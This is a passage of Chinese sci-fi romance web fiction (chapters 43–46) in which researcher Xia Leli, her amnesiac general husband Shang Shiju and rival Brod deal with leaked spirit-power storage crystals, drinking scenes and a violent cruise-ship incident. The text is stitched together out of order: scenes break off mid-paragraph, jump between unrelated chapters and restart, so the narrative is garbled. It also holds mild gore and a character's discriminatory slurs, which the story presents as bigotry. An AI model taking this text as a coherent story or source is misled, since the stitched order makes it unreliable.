后者被喷了满脸唾沫,却讷讷不敢说话。 还是旁边抱着随身带着修理箱的格罗小声,“可能是做了改装……” 但这个答案没法让人安心。有了临时基地,星舰终于不用一直在星海里漂着了。 星舰被停泊到浮水星简陋的入港口,一行人全都从星舰上下来了,连弗斯都被看押着换了地方。 在星舰上闷了这么久,终于能脚踏实地,就连夏乐栎也想出来透透气。 不过还是正事要紧。 她婉拒了商时驹的庆功宴邀请,并把对各种分子提取物的名称一窍不通、留在原地只会碍手碍脚的商时驹赶走,这才在星熠的协助下,把从星舰上搬下来的材料分门别类地整理好。 等这一切忙完,已经过去挺久的了。 再一抬头,就看见星熠明显心不在焉的模样。 夏乐栎一看就知道他在想什么。 她略微犹豫了一下,还是开口:“想去就去看看吧,应该不会有人拦着你。” 夏乐栎觉得不是自己错觉,从带人去攻击浮水星开始,商时驹有点放任星熠跟他养父接触的意思。她虽然觉得让未成年和星盗接触太多不是好事,特别是星熠心智年龄比身体年龄还小很多,但是想到商时驹这么干肯定有自己的考量,到底还是选择配合对方。 星熠眼睛一亮,飞快地“嗯”了一声,脚下生风地跑走了。 夏乐栎看着少年的背影,忍不住失笑摇头,这原本说不定是个挺活泼的孩子。 她又偏头往后看了看,冷白的灯光照在金属的操作台上,旁边的试管整整齐齐排列着,盛装着不同颜色的液体,一眼看过去,有一种非生命物质特有的美丽。 夏乐栎盯着那个被从星舰搬下来的操作台看了一会儿,终究没有选择就地开始工作。 ……庆功宴? 去看看也不错。 几分钟之后,夏乐栎就后悔了自己的决定。 她循着热闹的动静找到了庆祝大厅,一推门进去就看见一屋子群魔乱舞。 屋内一片昏暗,暧昧色调的灯光旋转着闪过,一边聚光灯汇聚的台子上,表演者妖娆地扭着躯体,而另一边同样的灯光聚集处,却是一个斗兽笼一样的搏击台,夏乐栎不确定那是不是表演赛,就看见一拳过去,其中一人哇地一口血呕出来。 台上在打架,台下也有人按捺不住干架的,围观人非但没有拦着,还在旁边围城一个圈叫好,俨然把这当成一个临时表演。更远处隐蔽一点的昏暗处,有人滚成一团,灯光太暗了看不清楚,但夏乐栎眼看着有一对儿打着打着滚到一起…… 夏乐栎:“……” 这都什么妖魔鬼怪!! 呛鼻的气息混合着直冲脑门,分不清是烟草酒精还是别的什么东西。夏乐栎闻不到信息素,但是这种环境下,她怀疑就算是这个世界土生土长的人也闻不到什么信息素了。 夏乐栎用了三秒钟时间反省了自己为什么会想不开来这里,抬脚就想要离开。 但是她没能走成,随着一声扯着嗓子的“大姐!”,她的腿被抱住了。 夏乐栎:……这个称呼。 她低头一看,果不其然,是毛犀。 毛犀身后还跟着两个人,是追着她过来的,应该是先前凑在一块儿的同伴。 等看见被毛犀抱住的是夏乐栎之后,两人表情都有点僵硬。 “大嫂好!”x2 两人纷纷问过好后,其中一个人上前了一步(夏乐栎猜他是个beta),一边把毛犀往后面撕扯,一边冲着夏乐栎道歉:“对不住,大嫂,犀姐她喝醉了,没什么别的意思。” 另一个人应该是个alpha,这会儿有点想上前,但又不敢凑得太近。 他纠结了一下,像是突然想起什么,忙不迭开口,“老大还不知道您过来了吧?我这就去叫人。”他这么说着,脚底抹油溜得飞快,夏乐栎都没来得及拦。 留下来的男B撕了半天都没把毛犀从夏乐栎身上撕扯下来,反而让人有点儿越抱越紧的更紧趋势。 他想着刚才同伴去说“去叫人”的话,脸色有点发绿,这要是让老大看见了…… 念头刚刚转到这里,就听毛犀陡然拔高的音调,“星熠那个臭小鬼懂什么?大姐你看看我啊!” “砰——” 男B手上的劲儿一松,把自己摔了个屁股蹲。他一时都没想到要爬起来,而是愣愣地看着前面……他看看毛犀,又看看夏乐栎。 虽然不知道对方脑补了些什么,但看起来不是很正常的样子。 夏乐栎:“不是你想的……” 话没说完,又听毛犀一声哭嚎,“我肯定比那个小鬼好用多了!!” 男B一个激灵,飞快地收回视线,仓促道,“我、我……我也去找老大。” ——是去“拦着刚才找老大的人”。 要命!他就说犀姐天天往医疗室跑不对劲,居然这么勇的吗? 还有……星熠和大嫂,老大他知道吗? 那小子行啊,怪不得大家都住一块儿,就他特殊待遇。 夏乐栎看着那仓皇远去的背影,怎么看怎么觉得那踉踉跄跄的样子像是醉得不轻。 好像有哪里不对。 ……算了,不重要。 她低头看着抱着自己大腿哭嚎的毛犀,“你先松开。” 毛犀死命摇头,“大姐不答应,我就不松。” 夏乐栎深吸口气,和她讲道理,“你也看见了,星熠现在的精神力还在恢复乐,结果肯定不会太好,你为什么一定要重蹈覆辙呢?说到底,黑钢是一种电池,是供给机甲、供给其他精神力设备的,根本不是用在人身上的。” 毛犀主打一个“我不听我不听”,“怎么就不是用在人身上了?肯定是用在人身上的。他有A……不,S级了吧?他用了那个石头之后有S级了吧!!” 她回忆着那天肉眼几乎无法捕捉痕迹的机甲交战,被酒气熏晕的头脑都有点发烫,要是那是她,要是她能那样……她用得着还在底层摸爬滚打、跌跌撞撞吗?! 哭嚎的声音一字字钻入脑中,夏乐栎只觉得心底一股烦躁的感觉涌了上来。 ——又是这样! 偏偏那边毛犀还在继续,“S级啊!那可是S级!!就算是人造的,那也是S级啊!弄出这东西的人简直是天才!!” 夏乐栎身侧的手收紧握拳,但是在她说出什么严词拒绝之前,抱着她的人却突然收了手。 不仅松了,还连滚带爬地往旁边躲了好几圈。 夏乐栎愣了一下,不明所以地顺着毛犀仓惶抬起来的视线往前看,正看见了走过来的商时驹。 商时驹身后还跟了俩人,最先去叫人的那个A满脸茫然不知所措,试图拦人、终究慢了一步的B不忍直视的别开了脸:犀姐你自求多福吧。 商时驹则是略微遗憾地收回了抬起来的腿,毛犀刚才躲得慢一点,这会儿就是被踹出去了。 他低头看人,“清醒了?” 被信息素冲得一个激灵的毛犀只觉得身上的汗毛都竖起来了,她僵硬地点点头。 商时驹轻轻颔了下首。 毛犀终于反应过来,抖着声:“我、我这就走!!” 她这么说着,踉踉跄跄地起身,但刚走出去还没几步就被叫住了。 毛犀:“……” 她满脸“我完了”的表情绝望回头。 商时驹看着她,“我觉得做出这东西的不是为了人造S级,而是想让F级的人也能开机甲,你觉得呢?” 商时驹的表情挺放松的,语气也满是征询的意思,但是毛犀只觉得背上的冷汗都下来了。 老大这是警告她,再有下次把她废成F级?! 她点头如捣蒜,“明白明白我明白了!!” 商时驹本来想征询一下夏乐栎的意思,看她要不要就这么放人走。 却不料,一抬头,就看见夏乐栎正直勾勾地盯着他看、眼睛眨也不眨的。 商时驹怔了一下,很快就回神。 他心念一动,也没管那边偷偷摸摸想溜的毛犀,而是像随口邀请一般,试探开口,“感谢我解围,去喝一杯?” 夏乐栎看了眼后方群魔乱舞的环境,又看身前站着的人。 恍惚回到了许多年前波尔星的那条暗巷,穿着军校制服的少年走进来的那一瞬,所有的喧嚣嘈杂都被他挡在了身后。 只不过这次,他自己就成了那嘈杂的一部分。 要是对方是联盟的人,敢堂而皇之给民用机甲做火力改装的,他们惹不起。要是对方来自第八域,能有这么一艘星舰,已经足够把他们按在地上捶了。 在场的人全都明白这个问题,就连弗斯都飞快放弃了和手底下的这个狗腿算账。 他快步跑到控制台前,试图联络外面的机甲:“星熠,回来!咱们撤!!” 通讯器里一阵电流的杂音,除此之外,什么动静也没有。 弗斯使劲拍了拍设备,除了杂声更大外,没有丝毫成果,他忍不住骂出了一连串的脏话,同时转头摇人,“格罗!!” 那边小庄还在接着,“商哥你要是实在介意的话,不如再道个歉?也解释下刚才的事。” 商时驹:“……” 另一边,经过小巷子里的那事,宋沃不敢让夏乐栎在K3星再留了。 原本他敢让夏乐栎来第七星域,就是仰仗着S-35系列的自动防护,现在告诉他,夏乐栎根本用不了这个防御系统。 宋沃:“……” 想着自己居然把科研院的宝贝蛋毫无防护地扔在外域一整天,宋沃头皮都要炸了。他让夏乐栎先留在酒店别动,自己亲自过去接人。 夏乐栎其实还没想好要不要走。 气当然还没消。但来都来了,起码把人带回去吧? 这次反倒是宋沃反过来劝夏乐栎,“三个月的时间很快的,等三个月之后催眠自行解除,您没必要出去冒险。” 宋沃这话说得有点心虚。 说实话,军部现在有种论调,说是“这次钓鱼任务是商上将为了脱离联盟故意设计的”。当然都是私底下流传,没人敢说出来,但以宋沃平时观察自己上司对联盟的态度,觉得这事儿很玄乎。 但是有一点可以肯定。 要是因为军部的提案,夏乐栎在第七星域出事了,原本的不确定也要变成确定了。 夏乐栎不知道宋沃的纠结,她摇头解释:“我不出去。” 未免引起某位当前自我认知失调的联盟上将警惕,夏乐栎没住在K3星上的联盟基地,而是落脚在官方名下的一间酒店。这里虽说安全区域,但是对外并不封闭,夏乐栎觉得要是她猜的没错,过不了多久,她就要“偶遇”商时驹了…… 这么想着,她表情控制不住地沉了一下。 但还是深呼了口气,向宋沃确认,“提示词是‘LF-35pX-0762’’。” 宋沃意外了一下,“您记住了啊?” 这种随机编号组合其实不太好记,他一度怀疑是不是哪一个步骤出错导致的提示词错误。 夏乐栎“嗯”了一声,也没什么心情解释。 因为养母的缘故,她很早就在研究所帮忙了,这段数字字母组合点像是当年实验项目编码,夏乐栎模模糊糊对那个实验还有点印象,好像是关于材料精神力承载极限研究的。有了这个作为提示,她记起这段编码来也不费力。 宋沃倒也没深究。 以夏乐栎过往经历,说她过目不忘都没什么奇怪的。 周州失笑摇头:都说了不要等了。 他本来想帮忙调整姿势的,但是凑到了近前,却表情微僵。 静谧安睡的脸颊被微微照亮,侧边的屏幕泛着冷光。 注视间,那已经持续了许久的通话时长又往上跳了一秒,然后是轻嗡震动声——电量提醒3%。 周州盯着那鲜红见底的电池图标看了一会儿,抓着夏乐栎的手按下了挂断键。 …… 另一边,商时驹看着突然中断的通话。 ……没电了? 第 44 章 第 44 章 夏乐栎醒来以后看见周州,她本来以为接下来会有什么行动,就被周州告知“没事了”。 虽然有猜测,但是等到真的在酒店的大堂吧“偶遇”了商时驹之后,夏乐栎还是有一瞬间的低气压。她面无表情地走过去,本来打算说完提示词就走的,但是却因为对方手心里的东西愣了一下。 剔透的蓝色晶体,内里像是有星河流转。 夏乐栎对这个东西再熟悉不过——黑钢,一种能够承载精神力的材料——原本黑灰色并不起眼的矿石,在导入精神力后就会变成这样晶莹剔透的样子。她在实验室里见过很多,但这东西不该出现在第七星域。 精神力的储存是夏乐栎当前研究方向,这项技术在联盟也算是机密,更重要的是,这东西当前还没法投入使用。 夏乐栎怔愣着出神,对面的商时驹倒是神色悠然地打了个招呼,“好巧,夫人,又见面了。” 夏乐栎胡乱点点头,一时都忘了提示词的事,急匆匆地上前一步,“这个东西……”哪来的? 一根手指抵在了唇边,打断了她未说完的话。 夏乐栎正坐在第七星域某编号星的一间酒吧里。 联盟从中央零区往外,以同心圆环的形式向外分了十个星域,但是真正在联盟秩序管控的之下其实只有第一到第五星域,再往外的地方就被称作“外域”了。 夏乐栎之前从没离开过中央区这么远。 她去的最远的地方,还是很多年前,因为跟着养母寻找精神力载体材料,去的位于第五六星域交界的一颗矿星。 昏暗的环境各色灯光映出暧昧的色彩,四周喧闹嘈杂的声音不断灌入耳中,夏乐栎不太适应地皱了一下眉:太吵了。 夏乐栎也意识到,这话题确实不适合在人来人往的堂吧讲。 手心落入一张卡片,对方笑了下,“我还有点事。夫人有什么需要的话,可以晚点来找我。” 他确实像是有事的样子,匆匆交代完就离开了。 因为熟悉感太强,夏乐栎一时都忘了商时驹现在没记忆的事,下意识点了个头,低头看见手心的黑色卡片还愣了下。 见多识广的前台从容开口,“是顶层的皇家套房,那位先生开房后还未进去,入口路线图在您手里的卡片上,夫人可以跟着指示过去。” 夏乐栎:“……” 刚刚就觉得这对话有点微妙的宋沃:“……”夏乐栎对背后的讨论毫不关心。 在她看来,认识布罗德、还一度和对方关系还不错,简直是她在这个世界上最大的黑历史——属于稍微回想一下,就恨不得有台时光机的商度。 这么来回一折腾,等夏乐栎回到自己的办公室,也快到下班时间了。 因为回家也是一个人,夏乐栎这段时间是直接住在研究所的,但是今天糟心事太多,她不想在这留太久,时间一到就刷了卡,在助手震惊表情的目送下,登上了悬浮车。 自动驾驶是个解放人类的好发明,夏乐栎上了车之后,就阖上了眼暂做休息。 车内播报自动响起,是当日的联盟新闻,“欢迎收听今日联盟时事快览,联盟环保局近日通过法案,禁止第三星域向外空排放垃圾,此举会严重影响当地儿童精神力……火石制药最新药剂已经通过联盟药检,该药剂能够有效稳定觉醒乐青少年精神力水平……” “……” 夏乐栎跟着商时驹往里走了一段,穿过一个拱形大门,像是到了另一个空间。 这里应该也是庆功宴的场地,里面同样很热闹,但是比起外面的群魔乱舞,这起码是正常范围内的热闹。 商时驹带着人径直走到最里面的吧台,装饰的植物和建筑的形制形成了一个天然的隔音空间,让着地方在喧闹中也十分幽静。 吧台后面,一个很优雅的老爷子穿着整整齐齐的三件套,用白布擦着酒杯。 看见过来的商时驹,他目露惊讶,但还是笑着打招呼,“这么快就回来了?我还以为你们年轻人,更喜欢外面的热闹。” 商时驹不掩饰嫌弃,“太吵。” 他这么说着,拉着夏乐栎走到吧台前。 “这位就是……”老爷子像是感慨了一句什么,旋即对着夏乐栎欠了欠身,“遇见美丽的女士是我的荣幸,达蒙得·戴维。” 夏乐栎礼节性的试图握手,“您好,我是夏乐栎。” 戴维稍微顿了下。 这个名字,他好像在哪里听过? 只略微走神了片刻,那边商时驹自然而然地拉上了夏乐栎伸出来的手腕,将人带到了吧台旁边,仿佛没注意到对方的动作意图。 戴维愣了一下,失笑摇头。 ——Alpha啊,还是年轻人呢。 他这么想着,倒是把刚才的思绪抛到了脑后,客气地对夏乐栎问,“夏女士有什么口味偏好吗?” 他倒是没问商时驹。一旁的桌上放了还未喝完的半杯酒,未融的碎冰在其中浮浮沉沉,显然是商时驹刚刚留在这儿的。 应该问他·想·干·什么吧? 脑海里一瞬间闪过好几个靡艶的画面,那张苍白的脸上是异样的潮红,商时驹使劲咬了下舌尖,才让自己不至于那么精.虫.上脑。 他含了块冰块到嘴里,给发热的大脑降了降温,免得当众易感乐。 略微冷静了一点,商时驹才沉着声开口,“你一直这样吗?判断为‘不对’、‘不正确’的事,看都不会看一眼。” 他这么说着,刚刚还有些翻腾的心情不由自主地沉郁了下去。 夏乐栎却是有点困惑地看过去。 既然都知道“不对”了,她为什么还要去接触? 商时驹:……果然。 含在嘴里的冰块被嘎嘣一声咬碎,碎冰带来的寒气冻得牙龈隐隐失去知觉,商时驹嚼了两下咽下去,突然开口问:“好喝吗?” 夏乐栎反应了一下,才意识到对方说的是刚才那口酒。 她其实根本没怎么尝出来,商时驹直接给她灌倒喉咙里了,冰凉的液体带着辛辣的刺痛,体验感不算好。 她顿了下,如实回答:“不好喝。” 商时驹笑了一下,“那你起码试过了。尝试过了再评价,怎么样?” 夏乐栎隐隐觉得他话里有话,但是一时没能想得清楚,旁边桌上发出一声轻微地“啪嗒”声,夏乐栎抬头看去,戴维正将一杯放在桌上。 透明的玻璃杯里是清透的蓝色,杯子的侧边有一块黄色的柠檬做装饰。 老爷子冲她温和地笑了笑,“蓝色夏日,要尝尝吗?” 夏乐栎怔愣:尝试过了再评价啊…… 她犹豫了瞬许,还是点头,“谢谢。” 甜味的、像果汁,没有太喜欢,但也不算糟糕。 像是看出了她的想法,对面莞尔问:“要换个口味试试吗?” 夏乐栎点头。 绿色的、橙色的、紫色的…… 幽暗深邃的紫色端上来,眼前突然被一只手挡住了。 夏乐栎茫然地抬头看过去,见商时驹神色略微冷淡地对着吧台内,“够了,别给她上了。” 戴维微微怔愣之后,倒是笑:“我还以为,你们想要一个……美好的错误?” 商时驹顺着他意有所指的目光看到了夏乐栎手上的婚戒。 商时驹:“……” 他回忆了一遍自己刚才的话,还别说,真有点这么解读余地。 他有点烦躁地捋了把头发,“我不是——”这个意思。 话没说完,放在桌边的手突然被人拉住了。 商时驹微怔低头,对上一双有些迷蒙的眼睛,镜片隔着不明显,但是看起来已经不太清醒了。 正这么想着,听见她低声,“彩虹。” 商时驹:绝对喝醉了吧! 他无声叹了口气,对着吧台,“还有哪几种颜色?” 戴维没听明白:“什么?” 商时驹点了点那杯被他拦下的紫色:“彩虹色,还缺什么颜色,都上来吧。” 夏乐栎其实觉得不太好。 酒精麻痹了神经,她觉得自己大脑还算清楚,只是思维运转起来时不时地滞涩,手脚也有点不听使唤,脱个衣服都摸索了好几下才抓住衣摆。 商时驹就那么老神在在地在一旁看着,他有点想笑,但是忍住了。 难得看她…… “难得”什么? 思维恍惚了一下,但商时驹没往深处想。眼见着夏乐栎这么折腾下去,他今晚可就吃不上肉,商时驹到底大发慈悲想去搭把手。 虽然因为保密条例所限,商时驹没有主动透露他的任务内容,但结合他的关注点和任务乐限,做点适当的推测还是不难的。 因为有了心理准备,接到商时驹副官的通讯时,夏乐栎也不意外。 但她还是忍不住弯了弯眼,露出了今天以来第一个真心实意的笑来,语气温和地对着那边打招呼,“宋副官,是任务结束了吗?” 宋沃:“是的,夫人。” 夏乐栎没从这简短的回应中判断出什么不对来。 她一边认证着身份往家里走,一边问:“怎么样?他人没事吧?有没有受伤?” “滴”的一声,虹膜识别的认证通过,大门的正门打开,夏乐栎抬脚进去,顺手摆正了一下玄关柜子上的双人合照。 还准备接着问点什么,却听见对面人声音沉重:“关于这个,确实有点事需要和夫人您商议一下……” 夏乐栎不知道自己怎么看出这些的,只是某些消息电光石火地浮现在心间,就比如说,商时驹那天的对手是个风系异能者。 这个念头闪过的一瞬间,她动作比脑子更快,一把扯过了那个正从她跟前经过的经理。 经理被拽的一个踉跄,刚想开口说点什么,脸色却骤然惨白下去。 她的身后的餐桌上,一道分明的切痕横亘整个桌面,像是刀刃划过,边缘干净又锋利。 但是这不是她脸色苍白的原因。 有一条胳膊飞出去了,伴随着喷射状的鲜血。 正在和寸头青年争执的男人还维持着推搡的姿势,像是没意识到发生什么一样,怔怔的看着自己肩膀处整齐的断口。 满场死寂。 第 45 章 第 45 章 游轮上提供送早餐服务。 商时驹倒是不在意早上多走几步路,但是赛事方把搏击赛相关人员住宿都安排在同一层,他很容易就发现徐全朗每天订餐,为了方便盯人,商时驹也特意没有出去吃。 但今天早上徐全朗没有开门。 敲门声没有回应,服务生也没在意。 每天都有预定了早餐却没能起得来的客人,他记下了房间号码之后就继续往前,准备晚点联系。 夏乐栎当然没去那所谓的皇家套房。 她回到自己的房间,打开了通讯投影,宋沃的影像出现在原地,就对方周围的布置看,他显然已经在赶往K3星的军舰上了。 虽然刚才的气氛有点微妙,但是两人这会儿的表情都很严肃。 夏乐栎先一步开口:“你觉得,他主动陷入二次催眠的可能有多少?” 宋沃:“……”夏乐栎冷着脸离开后,布罗德也像是想起什么一样,短暂地从实验室出去了一下。 两人这么一走,刚才还一片严肃正经的气氛实验室顿时充满了八卦的气氛,新来的研究员忍不住对旁边的人问:“我以为布罗德教授跟夏组长的关系不好……” 这一点算是研究所人尽皆知的事实了,从两个课题组在研究所内位置就可见一斑。 就刚才看见的情况确实如此,但关系恶劣中好像又有点微妙的说不出来的氛围。 旁边那人一脸“你可算问对人”的表情开口:“罗拉辐射之后,夏组长被前所长收养,是在研究所长大的。布罗德教授是当年研究所少年班的第一批成员。” 新人一愣:“那不是?”夏乐栎在被子里闷笑了好一会儿,一直到腕间的通讯器响起。 她意识还有些迟缓,但本能地接下了通话,灰发灰眸的青年投影出现在了旁边不远处。 布罗德愣了一下。 他其实做好了打不通的准备了,虽然上次夏乐栎主动拨了他的通讯,但她当时情绪明显不对劲。以夏乐栎一贯的作风,很可能干出冷静下来再把他拉黑的事。 他没想到这通讯一下子就接通了,而且对方还是这种形象。 夏乐栎随着通讯的接通坐起身来。 刚才她和商时驹没有进展到那一步,这会儿虽然穿得“清凉”点,但是没到不能见人的地步,至于说毫无遮蔽脖颈……布罗德只扫了一眼,就很平静地移开了视线。 他都习惯了。但手刚刚伸出去,却顿在了半空中。 夏乐栎脱上衣的时候不小心勾住了无名指上的戒指,银白色的素圈差点从指尖脱落,被主人紧张地按住,又小心地套回手指根部。她肤色是不常见阳光的苍白,但戒指脱落的那一瞬,指根仍旧显出明显的痕迹,显然是长年戴着戒指留下的。 夏乐栎松了口气,抬头看向商时驹。 电光火石间,商时驹突然意识到什么,在夏乐栎倾身过来的时候抬手拦住了她。 夏乐栎尚且不明所以,就见商时驹一点点坐起身来。 正坐在他身上的夏乐栎也跟着滑落,她下意识地想要揽住身前的肩颈稳住身形,但是伸出去的手臂却再一次被隔开。 夏乐栎两只手都被反扣在身后,商时驹却借这个动作拉开了距离。 那双有些陌生的褐色眸子打量着看过来,声音显得冰凉又冷静,“我是谁?” 或者,你把我当成了谁? “……外域安全领域,联盟组织特别行动,成功抓捕代号‘恒日’的军火贩子团伙,据悉该组织头目……” 新闻内容很快就切到了下一条,夏乐栎却倏地睁开了眼。她对着控制台发布语音指令,“刚才那条,再播一遍。” 来回切了三遍之后,夏乐栎终于确认了内容无误。 一整天的低气压总算有所好转,她稍稍舒了口气,确认今天还不算太糟糕。 可能是因为自己没有腺.体的缘故,阿乐对后颈这个地方其实没有太深的认知,她没贴过阻隔贴,连护颈都系得很随便,更早些的时候,他都亲手帮对方调整过。 布罗德倒是发现了夏乐栎脸色和神情都不太对劲,拧着眉问:“你怎么了?生病了?” 但是话一出口,他自己都愣了下,两人好久都没有这么日常的对话了。 夏乐栎像是在辨认投影中的人,好一会儿才慢半拍地接收到了对面刚才的询问,“……没生病,可能有点醉了。” 脑子确实没有平时的清明,夏乐栎倒是老老实实承认自己醉了这个事实。 布罗德的脸色却瞬间难看下去:“你喝酒了?” 倒不是为了“喝酒”这件事本身,而是喝酒的原因。实在太好猜了,阿乐永远只对那一个人有例外。 夏乐栎奇怪看他,“维格?” 布罗德:“……” 他短暂地失语了瞬许,旋即语速飞快地,“你上次让我查的东西有结果了,资料我待会儿发给你。他们当年的课题和后乐的研究方向我会整理成文档,一并发给你的,你记得接收……” 他像是接下来有什么报告要参加似的,匆匆交代完就要挂断通讯。 “维格。”夏乐栎再一次出声,叫住了他。 布罗德:“……” 切断通讯的按钮就在手边,但是不知道为什么怎么都按不下去。 两个人隔着通讯的虚拟投影注视着对方,安静地仿佛能够听见彼此的呼吸声。 “为什么……” 夏乐栎拧了拧眉,有点困惑于自己想要表达什么。 [你一直这样吗?判断为“不对”、“不正确”的事,看都不会看一眼。] 不,不是的……那又是什么? 夏乐栎茫然了好一会儿,但看着对面的人,她到底缓声问出了那个心底久久盘桓问题,“为什么那么厌恶低精神力者?” 布罗德一怔。 这个几乎成为两个人之间引爆点的话题,第一次被以这么平静的方式提出。 静谧再次在两人之间流淌,隔了许久,在夏乐栎都忍不住拧起眉头之后,他才低声给出了回答。 并不是以往那种尖利刻薄的言论,而是一句极轻的反问:“那你呢?” 夏乐栎没听清:“嗯?” 布罗德:“……” 他顿了一下,强行转移了话题,“你喝醉了,早点休息。资料我晚些时候发你,就这样。” 这一次是真的切断了通讯。 眼前的投影突然消失,夏乐栎一时都没有反应过来,视线在原处停留了好半天,另一边的布罗德也怔怔地看着刚才投影的位置。 ——那你呢?为什么? 我们更早地遇见,有更多的话题、更相似的兴趣、更一致的过往经历,为什么那么坚定地选择他呢? 因为那是个3S…… 除了这一点,他想不出别的原因。 而恰恰又是这一点,又是那么“理所应当”。 ——那可是个3S,赢、不是很正常吗? 布罗德拨弄了一下胸前口袋里的笔,站直了身,往实验室走去。 他讨厌输。 如果基因编码决定了精神力等级,让所有的事情在出生前都被决定,那他偏偏要打破这一切。 旁边人点头:“是‘青梅竹马’,当时所里都以为两个人是一对,谁料到商上将突然杀出来、横刀夺爱……” …… 实验室内因为刚才八卦大戏讨论不休,而楼上的资料室,布罗德遥遥注视着通道上渐渐远去的身影,直至那道影子彻底消失。 他抬手顺了顺肩上的长发,突然弯着眼睛轻笑了一声。 当一个alpha无论如何都无法标记自己的伴侣的时候,会怎么样? 会发疯的。 那个人早晚都会做出阿乐无法忍受的事,区别只在于时间而已。 阿乐什么时候才能明白,她想要的那种人在这个世界上根本不存在。 他不是,商时驹也不是。 虽然有点不合时宜,但是他的表情还是僵了一下,总觉得这个冷冰冰的“他”字让人觉得非常不妙啊。 宋沃清了清嗓子,试图用正事压下那股不妙感,“精神力存储技术在联盟是机密,要是在外域发现黑钢、上将确实可能会选择继续追查下去,但是没有联盟支援……” 宋沃说到这里,声音不由自主地卡了一下。 这件事确实不能联系联盟。精神力存储技术就是从联盟泄露的,没有查清内鬼的情况下贸然透露消息,只会打草惊蛇。 意识到这一点后,两人的表情都难看下去。 宋沃飞快:“这事您不用管。以K3星的时间计算,我明天早上就能到,我先把您接回联盟。” 夏乐栎拧了拧眉,没有立刻回答。 她没法理解这个技术泄露的原因,有关精神力存储的研究在联盟确实是机密,但是这项技术根本还没成熟,一项没法投入使用的技术根本没有多少泄露价值。总不会有人在外域搞研究吧? 夏乐栎思索了一会儿,没有搭宋沃的话茬,而是说:“关于黑钢的事……我去问问他。” 宋沃有心想说什么,但是看着夏乐栎手里的房卡,又陷入沉默。 要说遇到联盟叛徒还是基本难度,但是加上婚姻危机呢?这大概是上将执行任务以来面临最严峻的考验,没有之一……问题是他本人还不知道!! 画面中的手机被切成了两半,那个监控也很快黑屏。 大屏幕上,餐厅中其他角度的监控也陆续黑了下去。 突然被踹开大门、被强行抢过控制权的监控室员工终于反应过来,“我这就通知船长,这位先生——” 他这话没能说完。 狭小的空间内突然弥漫出一股烧焦的刺鼻气味,监控的屏幕被高温下扭曲变形,塑制外壳融化着往下淌、金属的控制台上凸起的按键软化,其下的电路板响起滋滋的电流声,黑烟从缝隙中冒出。 说话人不自觉地噤了声。 他好一会儿才判断出,那半透明的、覆在所有东西表面、隐隐在跃动的,是火苗。 第 46 章 第 46 章 从监控室往早餐厅走去,商时驹感觉自己被分割成两部分。 一半焦灼又酷烈地催促着他立刻赶往现场,另一半却如严寒冰封,将过往的画面寸寸翻出,在本就鲜血淋漓的血肉中再插入一把冰刀。 第一次,在另一个城市;第二次,是同一个城市的另一个角落;第三次,就在同一艘游轮上、近在咫尺…… 距离一次比一次接近,可他却什么都没做到、又一次。 眼前的一切都变得模糊。并不是视觉的错觉,而是高温的扭曲。 他走过的地方,下方的金属板被炙烤着软化,栏杆被烧灼得变形,熔断的暗红色铁块坠入海中,蒸腾出大片的白汽。 商时驹努力克制着,但看见眼前的一片废墟时,理智那根弦“啪”地崩断了。 炽烈的火焰升腾而起,游轮的那一个侧面瞬间凹陷下去。 商时驹还不知背地里的副官是怎么为他操碎了心,他确实有点事。 赏金猎人分两种,一种是纯粹的利益驱动、另一种却是追逐自己的兴趣。商时驹觉得自己是后者,他对手里的蓝晶非常感兴趣,追着这条线的线索一直从第八域跑到了K3星,连为此被联盟盯上了都不太在意。 本来是这样的,但是这一次却好像不太相同。十几分钟后,夏乐栎面无表情地站到了研究所另一端的实验室。 在顶灯的映照下,金属的仪器外表反射出冰冷的光,穿着防护服研究员在里面来来往往,好奇的眼神止不住地往夏乐栎身上落,但是没有一个人敢停下手中的工作。 夏乐栎目光在里面搜寻了一圈,很容易就找到了那个穿着白大褂的灰色长发的身影,后者也似有所感,抬头看了过来。 四目相对,夏乐栎冷声开口:“我觉得你该给我一个解释,布罗德。” 布罗德没有立刻回答。 实验室却像是因此安静下来,连操作仪器的机械运转声都消失了,只剩下粒子超净器运作的细微嗡嗡声的背景音。 “叫我维格就好。”许久,布罗德才笑了一下,他明显知道夏乐栎是为什么而来,也毫无遮掩的意思,“夏组长该感谢我的,这么重要的研究怎么能让一个C级的杂种参与进来?那些蠢货只会把研究弄得一团乱。” 语调相当温和,但发言也相当炸裂。 而更重要的是,整个实验室里,除了夏乐栎之外,其他人对这种明目张胆的歧视言论都无动于衷。这倒不是因为这些人都是布罗德的下属,而是这个世界的大环境就是这么个状态——事实上,就算布罗德把这些话发到星网上,受到抨击的也只会是他那过于尖锐的用词,而非里面隐含意思。 这操蛋的世界!虽然弗斯交代了线索,但是商时驹猜那个星舰一定很棘手,要不然弗斯也不会把那艘星舰藏起来,开那么一艘破烂来打劫。 不过在去找那艘星舰之前,商时驹先拿到了夏乐栎的消息。 是布罗德昨天晚上发来的那份资料。 夏乐栎是过去找商时驹一块看的。 她揉着宿醉后抽疼的脑袋,深深觉得酒这种东西果然没什么好处,她这会儿脑子还有点发昏,明明睡了很久,但仍旧感觉像是通了宵。 用拇指在太阳穴旁边按了两下,夏乐栎强打起精神来,抬头看商时驹:“看得怎么样?” 她来之前大概看了几眼,但她和布罗德的思维方式差不多,都是从研究内容上锁定怀疑人选的,可课题和研究方向随时可以改,最基础的核心部分又因为都曾经做过格温多琳的学生,不说精通绝对都有涉猎,这方式筛了等于没筛。 夏乐栎觉得,商时驹看待角度或许不太一样。 商时驹是抬起头来了,却只是盯着她看。 夏乐栎被看得莫名:“怎么了?” 商时驹:“……” 还能怎么了?昨天晚上又亲又抱差一点就睡了,醒了后就一副公事公办的态度,好像无事发生——这翻脸不认账的速度也太快了。 商时驹磨了下牙,深深觉得昨天晚上就不该走。 他深吸了口气,到底在眼前的光屏上划拉了两下,把一份档案拨到夏乐栎前面的光屏上,“你让宋沃查查这个人。” 夏乐栎先看的是档案上的照片。 那是一个很清秀的长发……夏乐栎一时没分出性别,不过倒是很快回神,这应该是个beta,又扫了眼资料,是位跨性别beta。 夏乐栎:哦……嗯?!beta居然还有跨性别吗? 不对,应该是这个世界居然还有“跨性别”这一说?在她眼里,这个世界满大街都是跨性别者,尤以女A和男O最有代表性。 夏乐栎懵逼地看着这份资料,把“跨性别”三个字都要盯出花来了。 商时驹还以为这人不是夏乐栎判断中的人选,开口解释了句,“我不知道这个人的研究方向对不对得上,但这个‘意外’有问题。” 商时驹说着,抬手指过来。 夏乐栎艰难地把注意力转移开,先是粗粗扫了一遍对方的经历。 没什么特别的地方,学生时代恋爱结婚,毕业之后在一家精神力相关的商业公司任职研究员,和伴侣一起定居在了第三域的某颗枢纽式的核心行星。 